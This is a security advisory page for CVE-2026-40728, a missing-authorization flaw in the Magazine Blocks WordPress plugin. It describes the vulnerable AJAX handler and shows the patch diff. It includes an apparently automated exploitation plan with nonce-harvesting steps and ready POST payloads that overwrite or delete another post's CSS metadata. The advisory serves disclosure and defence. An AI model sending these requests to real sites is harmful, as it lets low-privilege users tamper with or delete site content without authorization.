CVE-2026-40728

Magazine Blocks <= 1.8.3 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.8.4
Patched in
71d
Time to patch

Description

The Magazine Blocks plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.8.3. This makes it possible for authenticated attackers, with contributor-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.8.3
PublishedFebruary 26, 2026
Last updatedMay 7, 2026
Affected pluginmagazine-blocks

What Changed in the Fix

Changes introduced in v1.8.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-40728 (Magazine Blocks) ## 1. Vulnerability Summary The **Magazine Blocks** plugin (versions <= 1.8.3) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function `MagazineBlocks\Ajax::save_block_css()` fails to perfor…

Show full research plan

Exploitation Research Plan: CVE-2026-40728 (Magazine Blocks)

1. Vulnerability Summary

The Magazine Blocks plugin (versions <= 1.8.3) contains a missing authorization vulnerability in its AJAX handling logic. Specifically, the function MagazineBlocks\Ajax::save_block_css() fails to perform any capability checks (e.g., current_user_can()) or ownership validation before modifying post metadata and filesystem assets. While it implements a nonce check for CSRF protection, the nonce is available to any authenticated user with access to the WordPress dashboard (Contributor-level and above), allowing them to modify post meta for arbitrary posts.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: magazine_blocks_save_block_css
  • Vulnerable Parameter: post_id (used to target arbitrary posts) and css (payload).
  • Required Authentication: Authenticated (Contributor level or higher).
  • Preconditions: The attacker must possess a valid nonce for the _magazine_blocks_nonce action.

3. Code Flow

  1. Hook Registration: In includes/Ajax.php, the init_hooks() function registers the AJAX action:
    add_action( 'wp_ajax_magazine_blocks_save_block_css', array( $this, 'save_block_css' ) );
    
  2. Entry Point: A request to admin-ajax.php with action=magazine_blocks_save_block_css triggers save_block_css().
  3. Nonce Verification: The function calls check_ajax_referer( '_magazine_blocks_nonce', 'security', false );.
  4. Processing:
    • The code retrieves post_id and css from $_POST.
    • It calculates a filename: $filename = "magazine-blocks-css-$post_id.css";.
  5. Unauthorized Action (Sink):
    • If has_blocks is true, it calls magazine_blocks()->utils->create_files() and:
      update_post_meta( $post_id, '_magazine_blocks_active', 'yes' );
      update_post_meta( $post_id, '_magazine_blocks_css', $css );
      
    • If has_blocks is false, it deletes the meta and the file via wp_delete_file().
  6. Authorization Failure: At no point does the code verify if the current user has the edit_post capability for the provided $post_id.

4. Nonce Acquisition Strategy

The nonce _magazine_blocks_nonce is required for the security parameter. This nonce is typically localized for the Gutenberg editor environment.

  1. Shortcode Identification: The plugin uses various block types like banner-posts, post-slider, etc.
  2. Trigger Script Loading: Scripts for the block editor are enqueued when editing a post.
  3. Acquisition Steps:
    • Use wp post create to create a dummy post for the contributor.
    • Navigate the browser to the editor for that post: /wp-admin/post.php?post=[DUMMY_ID]&action=edit.
    • The plugin likely localizes its settings in a global JS object. Based on the plugin slug and class names, common identifiers include magazine_blocks_admin, magazine_blocks_data, or magazine_blocks_params.
    • Command: Use browser_eval to search for the nonce:
      // Likely localization keys based on common patterns:
      window.magazine_blocks_params?.nonce || 
      window.mzb_admin_params?.nonce || 
      window.magazine_blocks_data?.security
      
    • If the key is not obvious, search the page source for the string _magazine_blocks_nonce.

5. Exploitation Strategy

Step 1: Target Identification

Identify a target post (e.g., Post ID 1) that the contributor does not own (e.g., an Admin-created post).

Step 2: Request Construction

Perform a POST request to admin-ajax.php to inject arbitrary CSS/Meta.

Request Details:

  • Method: POST
  • URL: http://[TARGET]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=magazine_blocks_save_block_css&security=[NONCE]&post_id=1&has_blocks=1&css=body{background-color:red !important;}
    

Step 3: Verify Persistence

The exploit is successful if the _magazine_blocks_css meta is updated on the target post.

6. Test Data Setup

  1. Admin Post: Ensure a post with ID 1 exists and is authored by an Administrator.
  2. Contributor User: Create a user with the contributor role.
  3. Plugin Activation: Ensure "Magazine Blocks" is active.

7. Expected Results

  • Success Response: {"success":true}
  • Database Change: The wp_postmeta table should now contain a record for post_id=1 with meta_key='_magazine_blocks_css' and meta_value='body{background-color:red !important;}'.
  • Filesystem Change: A file named magazine-blocks-css-1.css should be created in wp-content/uploads/magazine-blocks/.

8. Verification Steps

After executing the HTTP request, verify using WP-CLI:

# Check if the post meta was updated
wp post meta get 1 _magazine_blocks_css

# Check if the block was marked as active
wp post meta get 1 _magazine_blocks_active

# Verify file creation
ls -l /var/www/html/wp-content/uploads/magazine-blocks/magazine-blocks-css-1.css

9. Alternative Approaches

If has_blocks=1 requires specific dependencies, test the Unauthorized Deletion path by sending has_blocks=0. This will delete the _magazine_blocks_css meta and the corresponding CSS file for Post ID 1, which can be used to disrupt the appearance of a site.

Alternative Payload (Deletion):

action=magazine_blocks_save_block_css&security=[NONCE]&post_id=1&has_blocks=0

Verify that wp post meta get 1 _magazine_blocks_css returns an empty result after this request.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Magazine Blocks plugin (versions <= 1.8.3) is vulnerable to unauthorized post meta modification and file manipulation due to a missing capability check in the `save_block_css` AJAX function. Authenticated attackers with Contributor-level access or higher can exploit this to overwrite metadata and CSS files associated with any post ID, including those they do not have permission to edit.

Vulnerable Code

// includes/Ajax.php:59-79
public function save_block_css() {
	check_ajax_referer( '_magazine_blocks_nonce', 'security', false );

	$css            = isset( $_POST['css'] ) ? sanitize_text_field( wp_unslash( $_POST['css'] ) ) : '';
	$post_id        = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0;
	$has_blocks     = isset( $_POST['has_blocks'] ) && wp_unslash( $_POST['has_blocks'] );
	$filename       = "magazine-blocks-css-$post_id.css";
	$upload_dir_url = wp_upload_dir();
	$dir            = trailingslashit( $upload_dir_url['basedir'] ) . 'magazine-blocks/';

	if ( $has_blocks ) {
		if ( ! magazine_blocks()->utils->create_files( $filename, $css ) ) {
			wp_send_json_error();
		}
		update_post_meta( $post_id, '_magazine_blocks_active', 'yes' );
		update_post_meta( $post_id, '_magazine_blocks_css', $css );
	} else {
		delete_post_meta( $post_id, '_magazine_blocks_active' );
		delete_post_meta( $post_id, '_magazine_blocks_css' );
		file_exists( "$dir$filename" ) && wp_delete_file( "$dir$filename" );
	}

Security Fix

--- includes/Ajax.php
+++ includes/Ajax.php
@@ -62,6 +62,10 @@
 
 		$css            = isset( $_POST['css'] ) ? sanitize_text_field( wp_unslash( $_POST['css'] ) ) : '';
 		$post_id        = isset( $_POST['post_id'] ) ? absint( wp_unslash( $_POST['post_id'] ) ) : 0;
+
+		if ( ! current_user_can( 'edit_post', $post_id ) ) {
+			wp_send_json_error();
+		}
+
 		$has_blocks     = isset( $_POST['has_blocks'] ) && wp_unslash( $_POST['has_blocks'] );
 		$filename       = "magazine-blocks-css-$post_id.css";

Exploit Outline

The exploit targets the `magazine_blocks_save_block_css` AJAX action. An authenticated user (e.g., a Contributor) first retrieves the valid AJAX nonce `_magazine_blocks_nonce` from the WordPress dashboard or block editor environment. They then send a POST request to `/wp-admin/admin-ajax.php` containing the `action`, the `security` nonce, and a targeted `post_id` (regardless of ownership). By setting `has_blocks` to 1 and providing arbitrary content in the `css` parameter, the attacker forces the plugin to create a CSS file on the server and update the `_magazine_blocks_css` and `_magazine_blocks_active` post meta keys for the target post.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.